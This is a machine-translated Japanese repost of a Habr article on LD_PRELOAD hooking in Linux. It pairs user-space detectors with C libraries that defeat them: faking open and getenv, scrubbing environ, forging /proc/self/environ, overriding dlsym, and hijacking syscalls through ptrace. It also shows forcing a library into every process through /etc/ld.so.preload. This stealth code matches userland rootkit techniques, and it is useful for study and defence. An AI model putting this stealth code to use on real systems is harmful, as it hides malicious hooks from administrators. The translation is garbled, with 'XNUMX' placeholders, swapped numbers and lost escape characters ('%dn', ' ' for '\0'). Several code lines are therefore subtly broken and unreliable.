このメモは2014年に書かれたものですが、ハブレ氏に対する弾圧を受けたばかりで日の目を見ることはありませんでした。 禁止期間中は忘れていましたが、今ドラフトで見つけました。 削除しようかとも思いましたが、誰かの役に立つかも知れません。
一般に、管理者は金曜日に「含まれる」の検索に関するトピックを読んでいます。 LD_PRELOAD.
1. 関数置換に詳しくない人のための短い余談
残りはそのまま次へ進むことができます p.2.
古典的な例から始めましょう:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
srand (time(NULL));
for(int i=0; i<5; i++){
printf ("%dn", rand()%100);
}
}
フラグを付けずにコンパイルします。
$ gcc ./ld_rand.c -o ld_rand
そして、予想通り、5 未満の乱数が 100 つ得られます。
$ ./ld_rand
53
93
48
57
20
しかし、プログラムのソース コードはなく、動作を変更する必要があると想像してください。
独自の関数プロトタイプを使用して独自のライブラリを作成してみましょう。次に例を示します。
int rand(){
return 42;
}
$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so
そして今、私たちのランダムな選択は非常に予測可能です:
# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42
最初にライブラリをエクスポートすると、このトリックはさらに印象的になります。
$ export LD_PRELOAD=$PWD/ld_rand.so
それとも私たちが最初にやります
# echo "$PWD/ld_rand.so" > /etc/ld.so.preload
そして通常どおりプログラムを実行します。 プログラム自体のコードは XNUMX 行も変更していませんが、その動作はライブラリ内の小さな関数に依存するようになりました。 また、プログラム作成時点では、 ランド 存在すらしなかった。
私たちのプログラムが偽物を使用した理由 ランド? 段階的に見ていきましょう。
アプリケーションが起動すると、プログラムに必要な関数を含む特定のライブラリがロードされます。 それらを使用して表示できます ldd:
# ldd ./ld_rand
linux-vdso.so.1 (0x00007ffc8b1f3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)
このリストは OS のバージョンによって異なる場合がありますが、そこにファイルが存在する必要があります。 libc.so。 システムコールや以下のような基本的な機能を提供するのがこのライブラリです。 開いた, malloc関数, printf など ランド もその中にいます。 これを確認しましょう:
# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand
使用時にライブラリのセットが変更されるかどうかを見てみましょう LD_PRELOAD
# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
linux-vdso.so.1 (0x00007ffea52ae000)
/scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
/lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)
変数が設定されていることがわかります LD_PRELOAD 強制的にロードします ld_rand.so たとえプログラム自体がそれを必要としないという事実にもかかわらず。 そして私たちの役割以来 「ランド」 よりも早くロードされます ランド から libc.so、その後、彼女はねぐらを支配します。
ネイティブ関数を置き換えることはできましたが、その機能が保持され、いくつかのアクションが追加されたことを確認するにはどうすればよいでしょうか。 ランダムを変更してみましょう。
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
typedef int (*orig_rand_f_type)(void);
int rand()
{
/* Выполняем некий код */
printf("Evil injected coden");
orig_rand_f_type orig_rand;
orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
return orig_rand();
}
ここでは、「追加」として、テキストを XNUMX 行だけ出力し、その後、元の関数へのポインターを作成します。 ランド。 この関数のアドレスを取得するには、次の必要があります。 dlsym ライブラリの関数です libdlどれが私たちを見つけてくれるでしょう ランド 動的ライブラリのスタック内。 その後、この関数を呼び出してその値を返します。 したがって、追加する必要があります 「-ldl」 組み立て中:
$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so
$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Evil injected code
66
Evil injected code
28
Evil injected code
93
Evil injected code
93
Evil injected code
95
そして、私たちのプログラムは「ネイティブ」を使用します ランド、以前にいくつかのわいせつな行為を行ったことがあります。
2. 探すことの苦痛
潜在的な脅威について知っているので、それを検出したいと考えています プリロード 実行されました。 検出する最善の方法はカーネルにプッシュすることであることは明らかですが、私はユーザー空間の検出オプションに興味がありました。
次に、検出とその反論の解決策がペアで提供されます。
2.1. シンプルに始めましょう
前述したように、変数を使用してロードするライブラリを指定できます。 LD_PRELOAD またはファイルに書き込むことによって /etc/ld.so.preload。 XNUMX つの単純な検出器を作成してみましょう。
最初の方法は、設定されている環境変数を確認することです。
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main()
{
char* pGetenv = getenv("LD_PRELOAD");
pGetenv != NULL ?
printf("LD_PRELOAD (getenv) [+]n"):
printf("LD_PRELOAD (getenv) [-]n");
}
XNUMX 番目の方法は、ファイルが開かれているかどうかを確認することです。
#include <stdio.h>
#include <fcntl.h>
int main()
{
open("/etc/ld.so.preload", O_RDONLY) != -1 ?
printf("LD_PRELOAD (open) [+]n"):
printf("LD_PRELOAD (open) [-]n");
}
ライブラリをロードしましょう:
$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload
$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]
ここと以下の [+] は検出が成功したことを示します。
したがって、「-」は検出をバイパスすることを意味します。
このような検出器はどの程度効果があるのでしょうか? まず環境変数を見てみましょう。
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
return orig_getenv(name);
}
$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]
同様に、小切手を削除します 開いた:
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>
int (*orig_open)(const char*, int oflag) = NULL;
int open(const char *path, int oflag, ...)
{
char real_path[256];
if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0){
errno = ENOENT;
return -1;
}
return orig_open(path, oflag);
}
$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]
はい、ここではファイルにアクセスする他の方法を使用できます。 open64, STAT などですが、実際には、それらを欺くには同じ 5 ~ 10 行のコードが必要です。
2.2. 次へ移りましょう
上記で使用したのは getenv() 値を取得するには LD_PRELOAD、ただし、より「低レベル」な方法でアクセスすることもできます。 ENV-変数。 中間関数は使用しませんが、配列を参照します。 **環境、環境のコピーが保存されます。
#include <stdio.h>
#include <string.h>
extern char **environ;
int main(int argc, char **argv) {
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++)
{
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL)
{
printf("LD_PRELOAD (**environ) [+]n");
return 0;
}
}
printf("LD_PRELOAD (**environ) [-]n");
return 0;
}
ここではメモリからデータを直接読み取っているため、そのような呼び出しは傍受できません。 undetect_getenv 侵入の特定を妨げなくなりました。
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]
この問題は解決されたように見えますか? それはまだ始まったばかりです。
プログラムが開始されると、変数の値は LD_PRELOAD ハッカーはメモリ内にそれを必要としなくなりました。つまり、命令を実行する前にそれを読み取って削除できます。 もちろん、メモリ内の配列を編集することは、少なくとも、悪いプログラミング スタイルですが、とにかく、私たちの幸せを本当に望んでいない人がこれをどうやって止めることができるのでしょうか?
これを行うには、独自の偽の関数を作成する必要があります その中に()、インストールされているものをインターセプトします LD_PRELOAD そしてそれをリンカーに渡します。
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;
// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций
void evil_init()
{
// Сначала сохраним текущее значение LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// Избавляемся от текущего LD_PRELOAD
unsetenv(env);
break;
}
}
}
int execve(const char *path, char *const argv[], char *const envp[])
{
int i = 0, j = 0, k = -1, ret = 0;
char** new_env;
if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");
// Проверям не существует ли других установленных LD_PRELOAD
for(i = 0; envp[i]; i++){
if(strstr(envp[i], "LD_PRELOAD")) k = i;
}
// Если LD_PRELOAD не было установлено до нас, то добавим его
if(k == -1){
k = i;
i++;
}
// Создаём новое окружение
new_env = (char**) malloc((i+1)*sizeof(char*));
// Копируем старое окружение, за исключением LD_PRELOAD
for(j = 0; j < i; j++) {
// перезаписываем или создаём LD_PRELOAD
if(j == k) {
new_env[j] = (char*) malloc(256);
strcpy(new_env[j], "LD_PRELOAD=");
strcat(new_env[j], evil_env);
}
else new_env[j] = (char*) envp[j];
}
new_env[i] = NULL;
ret = orig_execve(path, argv, new_env);
free(new_env[k]);
free(new_env);
return ret;
}
以下を実行して確認します。
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]
2.3. /proc/self/
ただし、記憶は代替品を見つけることができる最後の場所ではありません。 LD_PRELOAD、 もあります / proc /。 明らかなことから始めましょう /proc/{PID}/environ.
実際、普遍的な解決策があります。 検出しない **環境 и /proc/self/environ。 問題は「間違った」行動です unsetenv(env).
正しいオプション
void evil_init()
{
// Сначала сохраним текущее значение LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// Избавляемся от текущего LD_PRELOAD
//unsetenv(env);
// Вместо unset просто обнулим нашу переменную
for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
break;
}
}
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
しかし、それが見つからなかったと想像してみましょう。 /proc/self/environ 「問題のある」データが含まれています。
まず、以前の「偽装」を試してみましょう。
$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so
cat 同じものを使用してファイルを開きます 開いた()したがって、解決策はセクション 2.1 ですでに行ったことと似ていますが、ここでは、次の行を含まない真のメモリの値をコピーする一時ファイルを作成します。 LD_PRELOAD.
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>
#define BUFFER_SIZE 256
int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";
char *sstrstr(char *str, const char *sub)
{
int i, found;
char *ptr;
found = 0;
for(ptr = str; *ptr != ' '; ptr++) {
found = 1;
for(i = 0; found == 1 && sub[i] != ' '; i++){
if(sub[i] != ptr[i]) found = 0;
}
if(found == 1)
break;
}
if(found == 0)
return NULL;
return ptr + i;
}
void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
int fd;
char buffer[BUFFER_SIZE];
int bytes = -1;
int wbytes = -1;
int k = 0;
pid_t pid = getpid();
int fh;
if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
exit (42);
}
if((fd=orig_open(original_path, O_RDONLY))==-1) {
printf("LD: Cannot open read-file.n");
exit(42);
}
do
{
char t = 0;
bytes = read(fd, &t, 1);
buffer[k++] = t;
//printf("%c", t);
if(t == ' ') {
//printf("n");
if(!sstrstr(buffer, "LD_PRELOAD")) {
if((wbytes = write(fh,buffer,k))==-1) {
//printf("write errorn");
}
else {
//printf("writed %dn", wbytes);
}
}
k = 0;
}
}
while(bytes != 0);
close(fd);
close(fh);
}
int open(const char *path, int oflag, ...)
{
char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
pid_t pid = getpid();
if(!orig_open)
orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
if(strcmp(real_path, proc_path) == 0) {
snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
realpath(proc_path_0, proc_path);
fakeMaps(real_path, proc_path, soname);
return orig_open(proc_path, oflag);
}
return orig_open(path, oflag);
}
そしてこの段階は通過しました:
$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
次にわかりやすい場所は、 /proc/self/maps。 そこにこだわるのは意味がありません。 解決策は前の解決策とまったく同じです。ファイルからデータ間の行を除いたデータをコピーします。 libc.so и ld.so.
2.4. チョークポイントからのオプション
私はこのソリューションのシンプルさが特に気に入りました。 から直接ロードされた関数のアドレスを比較します。 libcの、「NEXT」アドレス。
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"
int main(int argc, char *argv[]) {
void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
char *syscall_open = "open";
int i;
void *(*libc_func)();
void *(*next_func)();
libc_func = dlsym(libc, syscall_open);
next_func = dlsym(RTLD_NEXT, syscall_open);
if (libc_func != next_func) {
printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
printf("Libc address: %pn", libc_func);
printf("Next address: %pn", next_func);
}
else {
printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
}
return 0;
}
インターセプトによるライブラリのロード "開ける()" そしてチェックしてください:
$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135
反論はさらに単純であることが判明しました。
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
return _dl_sym (handle, symbol, dlsym);
}
# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]
2.5. システムコール
これですべてのように思えますが、それでも私たちは苦労します。 システムコールをカーネルに直接送信すると、インターセプトプロセス全体がバイパスされます。 もちろん、以下の解決策はアーキテクチャに依存します (x86_64)。 開口部を検出するために実装してみましょう ld.so.preload.
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#define BUFFER_SIZE 256
int syscall_open(char *path, long oflag)
{
int fd = -1;
__asm__ (
"mov $2, %%rax;" // Open syscall number
"mov %1, %%rdi;" // Address of our string
"mov %2, %%rsi;" // Open mode
"mov $0, %%rdx;" // No create mode
"syscall;" // Straight to ring0
"mov %%eax, %0;" // Returned file descriptor
:"=r" (fd)
:"m" (path), "m" (oflag)
:"rax", "rdi", "rsi", "rdx"
);
return fd;
}
int main()
{
syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
printf("LD_PRELOAD (open syscall) [+]n"):
printf("LD_PRELOAD (open syscall) [-]n");
}
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
そして、この問題には解決策があります。 からの抜粋 man'A:
ptrace は、親プロセスが別のプロセスの進行状況を観察および制御し、そのデータとレジスタを表示および変更できるようにするツールです。 通常、この関数はデバッグ プログラムにブレークポイントを作成し、システム コールを監視するために使用されます。
親プロセスは、最初に fork(2) を呼び出すことによってトレースを開始でき、その後、結果の子プロセスが PTRACE_TRACEME を実行し、その後 (通常は) exec(3) を実行します。 一方、親プロセスは、PTRACE_ATTACH を使用して既存のプロセスのデバッグを開始できます。
トレース中、子プロセスは、シグナルが無視された場合でも、シグナルを受信するたびに停止します。 (例外は SIGKILL で、これは正常に動作します。) 親プロセスは wait(2) を呼び出すことによってこれを通知され、その後、子プロセスが開始される前に子プロセスの内容を表示および変更できます。 その後、親プロセスは、子プロセスに送信されたシグナルを無視したり、代わりに別のシグナルを送信したりして、子プロセスの実行を継続できるようにします。
したがって、解決策はプロセスを監視し、各システムコールの前にプロセスを停止し、必要に応じてスレッドをフック関数にリダイレクトすることです。
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>
#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip
#endif
long NOHOOK = 0;
long evil_open(const char *path, long oflag, long cflag)
{
char real_path[PATH_MAX], maps_path[PATH_MAX];
long ret;
pid_t pid;
pid = getpid();
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0)
{
errno = ENOENT;
ret = -1;
}
else
{
NOHOOK = 1; // Entering NOHOOK section
ret = open(path, oflag, cflag);
}
// Exiting NOHOOK section
NOHOOK = 0;
return ret;
}
void init()
{
pid_t program;
// Форкаем дочерний процесс
program = fork();
if(program != 0) {
int status;
long syscall_nr;
struct user_regs_struct regs;
// Подключаемся к дочернему процессу
if(ptrace(PTRACE_ATTACH, program) != 0) {
printf("Failed to attach to the program.n");
exit(1);
}
waitpid(program, &status, 0);
// Отслеживаем только SYSCALLs
ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
while(1) {
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
if(WIFEXITED(status) || WIFSIGNALED(status)) break;
else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
// Получаем номер системного вызова
syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
if(syscall_nr == __NR_open) {
// Читаем слово из памяти дочернего процесса
NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
// Перехватываем вызов
if(!NOHOOK) {
// Копируем регистры дочернего процесса
// в переменную regs родительского
ptrace(PTRACE_GETREGS, program, 0, ®s);
// Push return address on the stack
regs.REG_SP -= sizeof(long);
// Копируем слово в память дочернего процесса
ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
// Устанавливаем RIP по адресу evil_open
regs.REG_IP = (unsigned long) evil_open;
// Записываем состояние регистров процесса
ptrace(PTRACE_SETREGS, program, 0, ®s);
}
}
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
}
}
exit(0);
}
else {
sleep(0);
}
}
私たちはチェックします:
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]
+0-0=5
どうもありがとうございます
、その記事、情報源、コメントは、このメモをここに掲載するために私が行ったよりもはるかに多くのことをしてくれました。
出所: habr.com